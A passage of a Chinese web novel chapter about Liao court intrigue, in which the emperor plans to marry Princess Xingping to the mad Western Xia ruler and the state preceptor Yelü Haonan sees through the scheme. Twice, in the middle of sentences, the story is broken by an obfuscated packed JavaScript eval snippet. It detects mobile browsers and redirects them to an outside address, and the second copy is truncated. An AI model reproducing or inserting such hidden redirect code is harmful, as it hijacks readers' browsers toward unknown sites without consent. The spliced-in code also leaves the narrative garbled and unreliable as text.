他修长而苍白的手指,正有一下、没一下地摩挲着手中白玉酒盏杯壁上浮雕的、栩栩如生的狼头雕纹。那狼眼以两点极小的墨玉镶嵌,在琉璃灯的映照下,偶尔闪过幽冷的、如同活物般的寒光。 他看似随意地扫视过阶下分列两班、屏息垂首的辽国文武重臣,目光最终,稳如磐石,定格在右侧客席首位——那位同样身着辽国高阶官服、气度沉静如深潭古井的男子身上。 耶律皓南(此刻的身份,是大辽国师)。他一身代表辽国最高权柄的深紫色蟒纹官服,玉带紧束,身姿笔挺如雪原青松。他面色平静,眼神深邃,仿佛周遭一切的奢华、压力、窥探,都与他无关,又仿佛一切都早已在他算计之中。 耶律宗真缓缓举起了手中的酒盏。他腕间数只沉甸甸的、雕着繁复契丹图腾的赤金手镯,随着动作相互碰撞,发出冰冷而富有穿透力的“铿铿”之声,在骤然因皇帝动作而安静下来的大殿中回荡,清晰地敲在每一个人的心弦上。 “国师。” 他开口,声线并不高亢,反而有些低沉、沉缓,如同塞外秋日午后,天际那缓缓堆积、沉沉压向城郭的铅云,带着一种无形的、令人窒息的重量。 “李元昊…自那‘天魔阵’受挫,元气大伤之后,如今…疯癫之态,更甚往昔。” 耶律宗真的语速很慢,仿佛在斟酌每一个字的分量。他指尖在光滑的紫檀木御案上,轻轻一叩。 “咚。” 一声轻响,却震得案上玉杯中的琥珀色酒液微微一漾,荡开细碎的涟漪。 “屠渭州,焚宋军连营,竟…” 他顿了顿,目光如冷电,扫过耶律皓南平静的面庞,声音里透出一丝难以掩饰的厌恶与…忌惮?“…将阵亡宋将的头颅,垒成‘京观’,扬言要以万千生魂的怨气与血煞,唤回那个…顾小怜的亡魂。” 他身体微微前倾,目光牢牢锁定耶律皓南,仿佛要看进他灵魂深处: “朕,欲遣兴平公主,赴西夏和亲,以姻缘为纽带,缚住这头…彻底失控的疯虎。” “卿,以为…如何?” “……” 席间,霎时寂然。 所有的丝竹声,谈笑声,杯盏碰撞声,在这一刻,仿佛都被一只无形的大手扼住了喉咙,骤然停歇。 只剩下兽首铜炉中香烟升腾的细微“嘶嘶”声,以及…无数道或明或暗、或惊或疑、或等待或揣测的目光,齐刷刷地,聚焦在了耶律皓南的身上。 耶律皓南执杯,起身。 动作从容,不疾不徐,符合一切辽国重臣觐见君主的礼仪规范。他按照辽礼,以右掌抚于左胸心口之处,微微躬身: “陛下…圣断。” 他的声音平稳,听不出丝毫波澜,仿佛只是在回应一件与己无关的寻常政事。 然而,就在他抬眼的刹那。眼角余光,恰好瞥见大殿一角,一面光可鉴人的巨大铜镜中,映出的一道身影。 那是一名女子。 一身杏黄色的宫装,样式简洁,却质地极佳,在灯火下流转着温润的光泽。她正垂首,安静地侍立在御座侧后方,为耶律宗真手中即将见底的金壶,缓缓斟酒。 腕间一只品相极佳的羊脂白玉镯,与金壶壶嘴轻轻相触,发出一声极其清脆、却又异常冰冷的“叮”声,如同碎冰坠地。 正是辽国皇帝耶律宗真的同母姐姐,以性情刚烈、弓马娴熟著称于辽国宗室的——兴平公主。 耶律皓南的心,微不可察地一沉。 他想起了三日前,潜伏于西夏的辽国暗探拼死送回的一份密报。 密报中提及,李元昊近日疯癫行径之一:夜闯宋辽边境一处刚遭战火涂炭的村落,将一具倒毙在村口、身穿破旧嫁衣的新娘尸体旁的枯树,披上了那件沾满血污的嫁衣,然后对着枯树,癫笑起舞,喃喃呼唤着“小怜”…… 此刻,耶律宗真提出以兴平公主和亲…… 分明是——以姻缘为名,行缓兵之实!甚至……是以自己的亲姐姐为饵,为辽国调整西线防务、积蓄力量、或是等待更好的出手时机,争取时间! 而这位看似柔顺、安静斟酒的公主……恐怕,就是这盘棋局中,最大的、也是最无奈的一枚棋子**。 “然则…” 耶律皓南语锋,极其微妙地一转。他并未立刻反对,而是以一种更加审慎、为君分忧的姿态开口。 “臣闻,元昊近日…不仅疯癫,更变本加厉。以战死者之皮,鞣制战鼓;以未及笄童女之心头热血,祭炼邪阵…” 他抬眼,目光似乎不经意地扫过铜镜中兴平公主的倒影,声音平静,却字字清晰: “公主…金枝玉叶,性情高洁。恐…不堪此等蛮荒血腥、污秽暴戾之气。若有万一……岂不是……” 他没有说完,但未尽之意,在场每一个人都听得明白。 将一国公主,送入一个已经半疯半魔、行事毫无人性底线的暴君手中,这与…送羊入虎口,甚至…献祭,有何区别? “哈哈哈!” 耶律宗真忽然大笑起来。 笑声洪亮,充满了帝王特有的豪迈与自信,在空旷的大殿中回荡。然而,若是仔细看他的眼底——那里,除了深不见底的谋算,并无半分真正的暖意与对姐姐命运的关切。 “国师多虑了!” 他摆了摆手,仿佛在说一件微不足道的小事,“朕的皇姐,岂是寻常闺阁女子?昔年她随先帝捺钵,于黑山之麓,弯弓射虎,箭无虚发!便是朕的帐下猛将,也未必有她那般胆色与骑射功夫!” 话音未落—— 铜镜中,那一直垂首斟酒的兴平公主,突然,毫无征兆地,抬起了头。 她的目光,如同两道淬了塞外寒冰、磨得极薄极利的雪刃,穿越殿中摇曳的灯火、氤氲的香烟,以一种快到极致、锐利到极致的方式,狠狠地——掠过了耶律皓南的面庞。 那一眼,极短,短到仿佛只是错觉。 但耶律皓南清晰地捕捉到了。 那眼神中,有一闪而逝的……感激?感激他出言,哪怕只是形式上的“劝阻”? 但更多的,是一种深刻的、冰冷的、带着自嘲与绝望的——嘲弄。 嘲弄他的“多此一举”,嘲弄这无法改变的命运,嘲弄……坐在那至高御座上、她的亲弟弟的……冷酷决断。 她早就知道了。 早就知道自己的命运。 而她的反应,不是哭求,不是抗争,而是……接受,以一种最为刚烈、也最为绝望的方式。 ______ 侍臣捧着巨大的金盘,恭敬地将一只烤得外皮金黄酥脆、香气四溢的整只羔羊,奉到了御案之前。 耶律宗真身体微微前倾,亲自执起一柄镶嵌着宝石的锋利银刀。 他的动作从容,甚至带着几分优雅。刀尖在羊头部位稍作停留,然后,稳稳地,割下了——那只烤羊的左眼。 羊眼被烤得缩水、凝固,呈现出一种暗褐色的、毫无生气的质感。 他用刀尖托着那只羊眼,缓缓移动,最终,轻轻放入了身旁内侍早已捧到耶律皓南席前的、一只纯银的小盘之中。 “此乃…宴首之荣。” 耶律宗真的声音平静,却带着一种不容置疑的力量,“喻卿…如朕之明目,为朕…观四方,察秋毫。” 此礼,在辽国宫廷宴饮中,确为至高荣宠,非心腹中的心腹、倚重中的倚重之臣,不可得。 耶律皓南立刻离席,在席前的空地上,恭敬地跪下,双手高举,接过了那只盛着羊眼的银盘。 “臣…谢陛下隆恩。” 他的声音依旧平稳” 然而,当他的目光落在银盘中那只暗褐色、孔洞朝天的羊眼上时——眼前,却骤然闪过一幅画面,是暗探密报中描述的,李元昊屠戮渭州后,留下的那一个个被焚烧、劫掠一空的村落,那一口口枯井旁堆积的焦黑尸骸……最终,凝聚成一个个深不见底、充满死寂与绝望的——焦黑坑洞。 就像眼前这只……被挖去、烤干的羊眼。 冰冷。空洞。毫无生机。只剩下……被利用、被献祭后的残骸。 他想起了很多年前,苑罗郡主嫁与杨宗元时,似乎也是这般……笙歌鼎沸,宾客盈门,一片太平盛世、佳偶天成的景象。 可是呢? 不过十年。 郡马杨宗元,为了心中的“义”与“情”,为了阻止一场不义的边衅,在阵前……自刎。 留下苑罗郡主,一个人,带着年幼的孩子,隐姓埋名,流落边地,再不回那富贵却冰冷的王府。 政治姻缘…… 从来,都是以鲜血浇灌、以骨肉为肥、盛开在权力祭坛之上的——荆棘冠冕。 美丽,却扎得人鲜血淋漓;高贵,却需要无数牺牲来维系。 席间,教坊司的乐师们,恰在此时,奏起了一曲《迎仙客》。 曲调婉转旖旎,如同春日融化的雪水,潺潺流淌,充满了太平盛世的柔情蜜意。 然而,耶律皓南的耳朵,却敏锐地捕捉到了——那婉转曲调的深处,某几个特定的转音、揉弦之处,隐隐透出的一丝……不属于中原雅乐的、诡异的颤抖与尖锐! 那指法分明是西夏巫祭用以“摄魂”、沟通所谓“神明”时,特有的——“摄魂调”! 这乐师……是西夏人?还是……辽主特意安排,用以“提醒”他,或是“试探”他? “国师…似有疑虑?” 耶律宗真的声音,恰如其分地响起,打断了耶律皓南的思绪。他端着酒杯,目光幽深地看着耶律皓南,脸上带着一丝似笑非笑的神情。 耶律皓南放下手中的银箸,伸出一根手指,蘸了蘸面前酒盏中清冽的酒液。 然后,他在光洁的紫檀木案几上,以酒为墨,缓缓地,画出了三道……弧线。弧线并不复杂,但彼此交错,形成一个简单却诡异的图案。 “陛下…可曾听闻,近日在西夏与我大辽、宋境边地流传的……一首童谣?” 他的声音不高,却足以让御座上的耶律宗真听清。 他的指尖,轻轻点在那第三道弧线中,一处明显的、如同裂痕般的断点上。 “血嫁衣,白骨轿,疯王娶鬼……哭三朝。” 他一字一顿,将那充满不祥与血腥气息的童谣,清晰地念了出来。 “李元昊……” 他抬眼,目光锐利如刀,直视耶律宗真,“已非寻常的暴君、疯王。他……已彻底堕入魔道。心中唯有毁灭与执念,再无半分人性与理智。” “此时和亲……” 他的指尖,在那“裂痕”上重重一点,酒渍晕开,“恐非结两国之好,而是……献祭。” 最后两字,他吐出得极轻,却如同两块冰冷的铁石,砸在了光可鉴人的地砖上。 “……” 耶律宗真脸上的笑意,微不可察地敛去了几分。他的目光,变得更加幽深难测,静静地看着耶律皓南,看着案上那即将干涸的酒渍图案。 就在这时—— “报——!!” 殿外,忽然传来一阵急促的脚步声与骚动!一名身着戎装、面带惊惶的辽国将领,疾步冲入殿中,不顾礼仪,径直跪倒在御案之前,声音因急迫而有些变调 “陛下!西…西夏使者,呈…呈‘聘礼’至宫门!” “嗯?” 耶律宗真眉头一皱,“何事惊慌?宣。” “是!” 片刻,在所有人或惊疑、或好奇、或不安的目光注视下—— 八名身材高大魁梧、面容狰狞、身着西夏武士服饰的壮汉,抬着一只巨大的、覆盖着猩红色绸布的木箱,步履沉重地,走入了大殿之中。 “砰!” 木箱被重重放在大殿中央的空地上,发出沉闷的响声。 为首的西夏使者,是一个面色苍白、眼神阴鸷的中年男子。他脸上带着一种刻意的、充满挑衅与残忍意味的狞笑,对着御座上的耶律宗真,略微欠了欠身,算是行礼。 “大辽皇帝陛下,在下奉我主西夏国主之命,特来呈上……求娶贵国兴平公主殿下的——第一份‘聘礼’!”说着,他猛地伸手,一把掀开了木箱上覆盖的猩红绸布! “哗——!” 满殿哗然!惊呼声、抽气声骤然响起!甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185039|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至有女眷发出了短促的尖叫!” 木箱之中,并无金银珠宝,绫罗绸缎。 而是——无数面破损不堪、沾满暗红色血污与火烧痕迹的——宋军战旗残片! 这些残旗,被人以一种极其粗暴却又带着某种疯狂仪式感的方式,硬生生地拼凑、缝合在一起,组成了一个巨大的、触目惊心的——“喜”字! 而在这个由血旗拼成的“喜”字下方,堆积如小山般的,是……无数枚沾满凝固血渍、甚至还粘连着丝丝皮肉组织的——铜钱! 浓烈的、令人作呕的血腥气与腐败气息,瞬间从木箱中弥漫开来,冲散了殿中馥郁的沉香,让不少人脸色发白,胃部翻涌。 那西夏使者却仿佛对此浑然不觉,反而脸上的狞笑更盛,声音尖锐刺耳:“我主有言——此乃聘礼首件,聊表诚意!” “后续……” 他故意拖长了音调,目光淫邪而疯狂地扫过御座侧后方、此刻已经脸色煞白、身体微微颤抖的兴平公主,“当以……宋国皇帝的首级为匣,用来……装载公主殿下的钗环首饰!哈哈哈哈!” “……” 耶律皓南的目光,死死地盯着木箱中那些铜钱上凝固的、已呈黑褐色的血渍。 恍惚间,他仿佛看见了——李元昊正手持滴血的长刀,以刀尖蘸着温热的鲜血,在沙盘上,一笔一划地,勾勒着这场所谓“和亲”的路线图” 每一笔,都是一条生命的消逝。 每一划,都是一个家庭的毁灭。 这个疯王……已经癫狂到了如此地步! 而耶律宗真……在明知如此的情况下,仍旧执意要将自己的亲姐姐,送入这虎狼之口…… 所图的,不过是为辽国调整西线军力布防、积蓄力量、或是等待宋夏进一步两败俱伤,争取那么一点点……宝贵的时间。 他的目光,不由自主地,瞥向了兴平公主。 只见她此刻,虽然脸色苍白如纸,但那双原本如雪刃般的眼睛里,却燃起了一簇冰冷而决绝的火焰。她的右手,紧紧地攥着自己宽大的宫装袖口,指节因为过度用力而泛出死白的颜色,甚至在微微颤抖。 耶律皓南的心,猛地一沉。 他看清楚了。 在她那紧攥的袖口褶皱间,隐约露出了一点……冰冷的金属寒光。 是匕首。 她……早就知道了。 早就知道自己是这盘棋局中,最大的、也是最无奈的弃子。 所以,她选择了……携带利器。 不是为了刺杀李元昊,而是……为了在最后的时刻,保全自己最后的尊严,或是……进行最后的、绝望的反噬。 ______ 夜宴,终于在一种极度压抑、诡异的气氛中,接近尾声。 耶律宗真的脸色,在经历了西夏“聘礼”的冲击后,反而恢复了平静,甚至带上了一丝……莫名的疲惫与深沉。 “国师今日辛苦了。” 他挥了挥手,示意内侍捧上一件看起来就异常华贵厚重的——黑貂大氅。 “此氅,乃去岁北地贡上的极品黑貂皮所制,内衬以江南冰蚕丝与银线混织,轻暖异常,可御塞外最酷烈的风雪。” 他的声音温和,“便赐予卿,以抵风寒。” 这是极大的恩宠。 耶律皓南再次跪谢,双手接过。 然而,就在他触摸到那大氅内衬所谓“冰蚕丝与银线”的瞬间—— 指尖传来一种极其微妙的、冰凉而略带滞涩的触感。 那纹路…… 他的心头,骤然掠过一丝冰冷的警觉与冷笑 这哪里是什么普通的银线? 分明是……辽国皇室暗卫特有的、用以追踪、定位重要人物的——“秘绣”!其中掺杂了特殊的金属与药物,可以在一定范围内,被特制的罗盘或驯养的异禽感知到! 恩宠?赏赐? 不,这是——枷锁。是监控。是……警告。 告诉他,无论他走到哪里,都在辽国、在他耶律宗真的掌控之中。 就在耶律皓南接过大氅、即将起身的刹那—— 耶律宗真忽然身体微微前倾,以一种只有他们两人能听清的音量,在他耳边,极轻、极快地,说了一句话: “朕…知你与那杨家女将…有约。” “待…西夏事毕,边境暂安…” “朕…许你,携美…归隐。” 声音温和,甚至带着几分……理解与慨叹。仿佛一位体恤臣下的仁君,在许诺一个美好的未来。 然而,结合袖中那道以北汉遗民性命相胁的密诏,结合眼前这件暗藏追踪秘绣的黑貂大氅……这“许诺”,听在耶律皓南耳中,只剩下无尽的冰冷、虚伪与……讽刺。 是啊,“许”你归隐。 前提是,“西夏事毕”,“边境暂安”。 而如何才能“事毕”?如何才能“暂安”? 恐怕,需要他这位“国师”,继续为辽国、为耶律宗真的江山棋局,呕心沥血,乃至……不惜一切代价。 这“归隐”的许诺,不过是悬在驴子眼前的那根胡萝卜。看得见,却永远也吃不到。用来鞭策他,让他继续拉磨的……工具罢了。 “……臣,叩谢陛下隆恩。” 耶律皓南的声音,依旧平静,听不出丝毫异样。他恭敬地,再次伏地行礼。 然后,起身,抱着那件沉甸甸的、内藏追踪秘绣的黑貂大氅,转身,一步一步,稳稳地踏出了这座依旧灯火通明、笙歌未歇,却已让他感到无比窒息的——崇元殿。 殿外,夜风骤起。 凛冽的寒风,如同刀子般,卷着远方荒原上尚未散尽的血腥气与烽烟味,扑面而来,狠狠地灌入他的口鼻,肺腑,乃至灵魂深处。 身后,是即将散去、却依旧透着虚假繁华与温情的笙歌宴饮。 身前,是无边的、浓得化不开的漆黑夜色,以及夜色尽头,那即将因这场荒诞而疯狂的“和亲”,再次被点燃、席卷天地的——烽火狼烟。 一场和亲。 三重谋算。 辽主耶律宗真的江山棋局,冷酷而精密,一切皆可为棋子,包括至亲。 西夏疯王李元昊的魔道献祭,疯狂而绝望,要以毁灭与血腥,唤回那一缕早已消散的亡魂。 兴平公主……那绝境中的、携带着匕首的、冰冷而决绝的——反噬。 而他自己…… 耶律皓南(刘皓南)抬起头,望向夜空中那几点疏淡的、似乎随时会被乌云吞没的寒星。 唇边,掠过一抹极淡、极冷、却又带着无尽疲惫与自嘲的——弧度。 终是……逃不开,这漩涡。 12. 兴平公主 暮色如最浓的墨汁,缓慢而不容抗拒地浸透了辽国上京皇宫那些在残阳下依旧反射着冰冷辉煌的琉璃瓦,将白日里的庄严与威仪,渐渐染上一层压抑的、暗沉的蓝灰色调。 兴平公主府,后殿寝宫。 铜镜前,兴平公主正对镜梳妆。她身上已穿好了一身为晚间宫宴准备的、极尽华丽的宫装,金线绣成的牡丹在玫红色的锦缎上怒放,裙裾逶迤铺开,如同一道流淌的、奢华而刺目的血河。然而,她的脸上,却毫无半分即将赴宴的喜悦,反而因为某种即将喷薄而出的怒火,而显得有些扭曲。 她的手,正将一枚造型精致、以纯金为底、点缀着翡翠与珍珠的—— 鎏金孔雀簪,狠狠地、几乎是用力掼 进了自己高耸繁 复的发髻之 中 ! 动作粗暴,带得发丝扯痛头皮,但她浑然不觉。 铜镜中,那张继承了辽国皇室优良血统、本该明艳照人的面庞,此刻因为愤怒与一种深刻的、被背叛般的羞辱感,而扭曲得有些狰狞。她刚刚得到的消息,像一把淬了毒的冰锥,狠狠扎进了她的心脏—— 耶律皓南,那个她放在心尖上多年、甚至不惜为其剜心取血的男人,不仅悄然返回了盛京,竟然……还带着那个出身低微的宋国女人——杨排风!而且,他们竟然直接住进了先帝(辽圣宗)当年赐予耶律皓南的——那座位于皇城西侧、环境清幽、她曾无数次想要踏入、却始终被他以各种理由拒之门外的旧邸! “好个……‘烧火丫头’!” 她咬牙切齿,从齿缝间挤出这几个字,声音因为极度的愤恨而变得尖锐刺耳,“竟敢……踏进本宫踏不进的门槛!” “砰——!” 手边一柄上好的羊脂白玉梳,被她狠狠摔在了光可鉴人的水磨金砖地面上,瞬间粉身碎骨!晶莹的碎片迸溅开来,在烛火下闪烁着冰冷而绝望的光泽。 她霍然起身,看也不看满地狼藉,踩着那些尖利的碎片,猩红色的织金斗篷在身后卷起一道凌厉的弧度,如同一团燃烧着怒火与屈辱的风暴,径直冲向寝宫外! “公主!公主不可!” 两名贴身侍女脸色煞白,急忙跪地阻拦,其中一人甚至不顾礼仪抱住了她的腿,声音带着哭腔颤抖道:“萧太后方才遣人传话……让您安心静养,……静待和亲西夏的旨意,切莫……切莫再生事端啊!” “滚开!” 兴平公主眼中寒光一闪,毫不留情地一脚踢开了那名侍女!侍女痛呼一声,翻倒在地。 她现在什么都听不进去!什么和亲!什么太后旨意!她只知道,那个地方,那座承载了她无数少女心事与期盼的宅子,竟被另一个女人捷足先登了!那是对她多年痴心最大的嘲弄与践踏! 她记得清清楚楚,多年前,耶律皓南因为天门阵反噬在那宅中养伤三月。是她,不顾公主之尊,日夜侍奉汤药,衣不解带。她还记得,书房那张琴案下,她曾趁他不备,偷偷用金簪刻下了半朵并蒂莲……只是尚未完工,他便伤愈离开,再不允她随意进出。 而今,那个宋女竟敢……登堂入室! 猩红斗篷卷着北地夜间凛冽的寒风,如同一道血色的箭矢,掠过重重宫门与长廊,直奔皇城西侧那座她魂牵梦萦又求而不得的——旧邸 旧邸,书房。 与宫中的金碧辉煌、穷奢极侈不同,这里的陈设更多的是一种内敛的奢华与文人雅趣。紫檀木的书架,博古架上的珍玩,墙上的名家字画,无一不显示着主人曾经的地位与品味。然而,此刻,这些属于辽国权贵的痕迹,却与书案前那道身影格格不入。 杨排风一身宋式的素白绢衣,样式简洁,未佩任何钗环,只用一根乌木簪子将长发在脑后简单挽了个髻。她正低头,将一束不知从院中哪棵枯树上折来的、姿态嶙峋的——枯梅枝,小心翼翼地插入一只同样朴素的粗陶花瓶中。动作不疾不徐,神情平静如水,仿佛身处的不是异国他乡的权贵府邸,而是自家寻常的庭院。 “轰——!” 书房那两扇沉重的雕花木门,被一股巨力从外猛地撞开!寒风裹挟着夜的冷意与一道猩红刺目的身影,一同灌入室内! 烛火剧烈摇曳,在墙壁上投下晃动不安的影子。 杨排风插花的手,连眉梢都未曾动一下。她只是慢慢地将最后一根枝桠调整好位置,然后,转身,走到一旁的小几边,伸手执起红泥小炉上正咕嘟冒着热气的紫砂壶,缓缓地、均匀地,将沸水注入面前两只早已备好的白瓷茶盏中。 水声淅沥,茶香随着蒸腾的热气袅袅升起,冲淡了些许室内骤然紧绷的气氛。 “久闻……杨门女将英姿,今日得见,果真……不同凡响。” 一道带着明显讥诮与冰冷敌意的女声,在门口响起。 兴平公主并未立刻进来,而是斜倚在门框上,双臂环胸,下巴微扬,以一种居高临下的姿态,打量着室内这个素衣女子。她身上那件金线牡丹裙在烛光下流转着刺目的光泽,与杨排风的素白形成鲜明对比。她的目光,像是淬了毒的针,一寸寸刮过杨排风的脸、身、乃至她身后那瓶枯梅。 “只可惜……” 她拖长了音调,唇边勾起一抹冰冷而恶意的笑,“这大辽盛京,到底不是你们宋国的天波府。不知……夫人可还习惯这北地的——苦寒?” 最后两字,她咬得极重,仿佛在强调某种无法逾越的鸿沟。** 杨排风此时已斟好了茶。她伸出手,将其中一盏茶,轻轻推至书案另一侧,那个显然是为客人准备的位置。然后,她抬起眼,平静地看向门口那位盛装而来、满身敌意的公主。 “劳公主挂心。” 她的声音不高,却清晰平稳,没有丝毫被突然闯入者惊扰的慌乱,也没有因对方身份与敌意而生出的畏惧或讨好。“排风……随夫婿而行。” 她顿了顿,目光温和,甚至带着几分淡然的理解,落在兴平公主因愤怒和急行而略显散乱的鬓发间,那枚摇摇欲坠的孔雀金簪上。 “何处为家,皆是……心安。” 这句话,轻描淡写,却像一把无形的软刀,恰好戳在了兴平公主最痛的地方——她求而不得的“家”,对方却可以如此轻易地“心安”。 杨排风的目光并未停留,继续说道,语气甚至带着几分长者对晚辈的关切,虽然她年纪未必比对方大多少:“倒是公主,金枝玉叶,未来……远嫁西夏,风沙酷烈。” “听闻……” 她的声音压低了些,目光变得深邃,“李元昊近日……为炼邪阵,频频剜取活人心肺……” “公主……还需多多保重才是。” “你……!” 兴平公主脸色骤然一白!身体不受控制地微微一晃!杨排风的话,不仅点出了她即将面临的悲惨命运,更是一种隐晦而犀利的反击——你在这里为情所困、争风吃醋,可曾想过自己即将踏入的是怎样的龙潭虎穴? 羞愤、恐惧、不甘……种种情绪交织,让她的理智瞬间崩断!她猛地冲上前几步,一把揪住书案上那瓶刚插好的枯梅! “你知不知道这宅子是谁赐的?!” 她尖声道,因为用力,枯梅枝上尖利的断口刺破了她柔嫩的掌心,殷红的血珠瞬间渗了出来,染红了枯黑的枝干,“当年他在此养伤三月!是本宫!日夜侍药!衣不解带!” 她的声音因激动而颤抖,眼中泛起疯狂的水光:“就连他那颗心——!” “是孟古大巫以‘童子心’秘术为他续命,而公主您……” 杨排风忽然抬起手,伸出一根手指,蘸了蘸面前茶盏中清澈的茶汤,在光滑的紫檀木案面上,缓缓画出一道圆润而诡异的弧线,恰好打断了兴平公主即将脱口而出的“功劳”。 “……跪在大巫门前风雪之中,苦求三日三夜,方求来的……恩典。” 杨排风的声音依旧平静,但每一个字都像是经过了精心斟酌,“此等深情,排风……亦有所闻。” “可是公主……” 她抬起眼,目光如同两泓深不见底的古潭,静静地看进兴平公主因愤怒和不解而通红的眼眸,“您是否想过……” “若他当年便知晓,那‘童子心’续命的秘术,不仅需要一颗无辜童子的心脏,更需以特殊法门……剜尽献心者的七窍精魂为引,方能成功融合……” “他……可还愿意,承您这份……以他人魂飞魄散为代价换来的——‘情’?” “……” 兴平公主的身体,猛地僵住!脸上的血色在刹那间褪得干干净净,比窗外的积雪还要苍白!她的嘴唇颤抖着,想要反驳,想要否认,却发不出任何声音。因为……孟古大巫当年施术时的某些异样,以及术后关于那个“童子”踪迹全无的传闻……她不是没有怀疑过。只是一直被她刻意忽略、压在心底最深处。 此刻被杨排风如此直白、甚至带着几分残酷地点破…… “咔嚓……” 窗外,庭院中,忽然传来一声极其轻微的、枯枝被积雪压断的声响。 兴平公主猛地回头! 只见 书房窗外,那株姿态古拙的老梅树下,不知何时,静静地立着一道身影。 耶律皓南。 他身上还穿着入宫时的那身深紫色官服,肩头与发顶已覆了一层薄薄的积雪,在清冷的月光下泛着莹白的光泽。不知他已在那里站了多久,又……听去了多少。 他的目光,先是落在屋内杨排风的身上。那目光中的冰雪,在触及她平静面容的刹那,微不可察地……融化了一瞬,掠过一丝复杂的温柔与歉然。 然后,那目光移开,转向了门口脸色惨白、身体微颤的兴平公主。瞬间,所有的温度消失殆尽,凝结成比窗外寒风更加刺骨的——寒刃! “公主。” 他开口,声音不高,却带着一种沉沉的压力,在寂静的夜中格外清晰,“夜深人静,擅闯臣下宅邸……” “是想要坐实近日朝中那些关于‘宋辽勾结’、‘旧情难忘’的无稽流言,让即将成行的和亲大局……” “毁于一旦吗?” 最后一句,他的声音陡然转冷,带着明显的诘问与警告。不是对旧识的劝慰,而是对一个可能危及大局的不安定因素的——冷酷提醒。 “……” 兴平公主浑身的力气仿佛都被这句话抽干了。她踉跄着后退一步,靠在冰冷的门框上,才勉强稳住身形。脸上的表情,从震惊、羞愤,渐渐变成一种深入骨髓的……绝望与悲凉。 原来……在他眼中,她的痴心,她的痛苦,她的不甘……不过是可能妨碍“大局”的……麻烦。 她最后看了一眼屋内那个始终平静如水的素衣女子,又看了一眼窗外那个目光冰冷如陌路的男人。嘴角,扯出一个比哭还难看的、惨淡的笑意。 然后,她转身,再也不发一语,猩红的斗篷在寒风中颓然拖曳,像一抹即将熄灭的残火,消失在浓重的夜色之中。 书房内,重归寂静。只剩下炭盆中偶尔发出的“噼啪”轻响,以及……茶香袅袅。 耶律皓南从窗外走进来,带进一身寒气。他走到杨排风身边,目光复杂地看着她。 “你……都知道了?” 他的声音有些涩。 杨排风没有回答,只是伸手,将那盏一直为他备着的、此刻已有些微凉的茶,往他面前推了推。 “喝口茶,暖一暖吧。” 她的声音依旧平静,“夜还长着。” ______ 宫宴恩威 次日,宫中夜宴。 气氛依旧是表面的觥筹交错、笙歌曼舞,但暗流涌动。 萧太后高踞主位,一身绛紫色的宫装,雍容华贵,面上带着慈和的笑意,但那双经历了无数风浪的眼眸深处,却是一片深不见底的沉静。 她的手指,正有一下没一下地捻动着腕间一串晶莹剔透的琥珀念珠,目光时不时地,落在下方客席首位的耶律皓南身上。 宴至中途,萧太后忽然示意身边的内侍。内侍会意,捧着一个精致的玉碟,走到耶律皓南席前,将碟中晶莹剔透、裹着蜂蜜的——蜜饯,轻轻放在了他的案上。 “皓南。” 萧太后开口,声音温和,带着长辈特有的关切,“这是南边新进贡的蜜渍梅子,哀家尝着不错,你也尝尝。” “谢太后。” 耶律皓南躬身谢恩,神色恭谨。 “唉……” 萧太后忽然轻叹一声,那叹息声轻柔如春风,却似乎能化开坚冰,“说起来,兴平那孩子……自幼便在哀家身边长大,性子是骄纵了些,被宠坏了……” 她的目光,意有所指地看着耶律皓南,话锋一转,“可她对你……” “当年,你心脉尽碎,命悬一线。满朝御医束手无策……是那孩子,不知从哪里听来的偏方,竟然……” 她的声音带上了一丝恰到好处的哽咽与心疼,“竟然瞒着哀家,私下里……剜了自己半碗心头热血,说是要做什么……药引。” “也是因为她这股不要命的劲头,哀家才不得不……去求了孟古大巫,动用了那等逆天的秘术……” “这份情意,这份恩……皓南啊,你可莫要……辜负了才是。” 字字恳切,句句深情。仿佛一位为晚辈操碎了心的慈祥长辈,在为自家不懂事的孩子说情,同时也是在提醒对方——莫忘恩义。 恩威并施,炉火纯青。 耶律皓南执壶为自己斟酒的手,稳如磐石,没有丝毫颤抖。然而,在宽大的袍袖掩盖下、放在膝上的另一只手,指尖却不由自主地、深深掐入了掌心一道早已愈合、却依旧敏感的旧伤疤之中。 那道疤……正是当年,在那座旧宅养伤时,兴平公主“不小心”将滚烫的汤药泼洒在他手背上所致。当时她惊慌失措,泪眼婆娑地道歉,他也只当是意外。可后来想来,那药碗端得极稳,泼洒的角度与力道……未免过于巧合。那是一种带着占有欲与破坏欲的、孩童般的宣示——我救了你,你身上就该留下我的痕迹。 他抬起眼,目光平静地迎上萧太后那双深邃莫测的眼眸,声音不卑不亢:“太后教诲,臣……铭记于心。” “臣也记得,当年孟古大巫施那‘换心’秘术时曾言……” 他顿了顿,语气平缓,却字字清晰,“以‘童子心’续命者,需……斩断七情,方能与新心融合无碍,否则……易生心魔,反噬己身。” “公主对臣的这番……深情厚谊,” 他的目光微微垂下,看着案上那碟晶莹的蜜饯,“倒让臣不知……该以这颗已然残缺、需断情绝爱方能苟活的心来相报……” “还是……” 他重新抬眼,目光清澈而坦然地看着萧太后,“以彻底的绝情与疏远,来全了公主当年的救命恩义,也免得……累及公主清誉与未来?” “……” 萧太后脸上的慈和笑意,微不可察地凝滞了一瞬。眼底深处,掠过一丝极淡的冷意。耶律皓南这番话,表面恭顺,实则是以“遵从大巫嘱咐、为公主着想”为名,将自己摘得干干净净,同时也堵住了她继续以“恩情”施压的可能。 就在此时—— “哗啦——!” 大殿侧后方的珠帘之后,突然传来一阵急促而凌乱的环佩碰撞之声!紧接着,珠帘被猛地掀开! 兴平公主跌跌撞撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 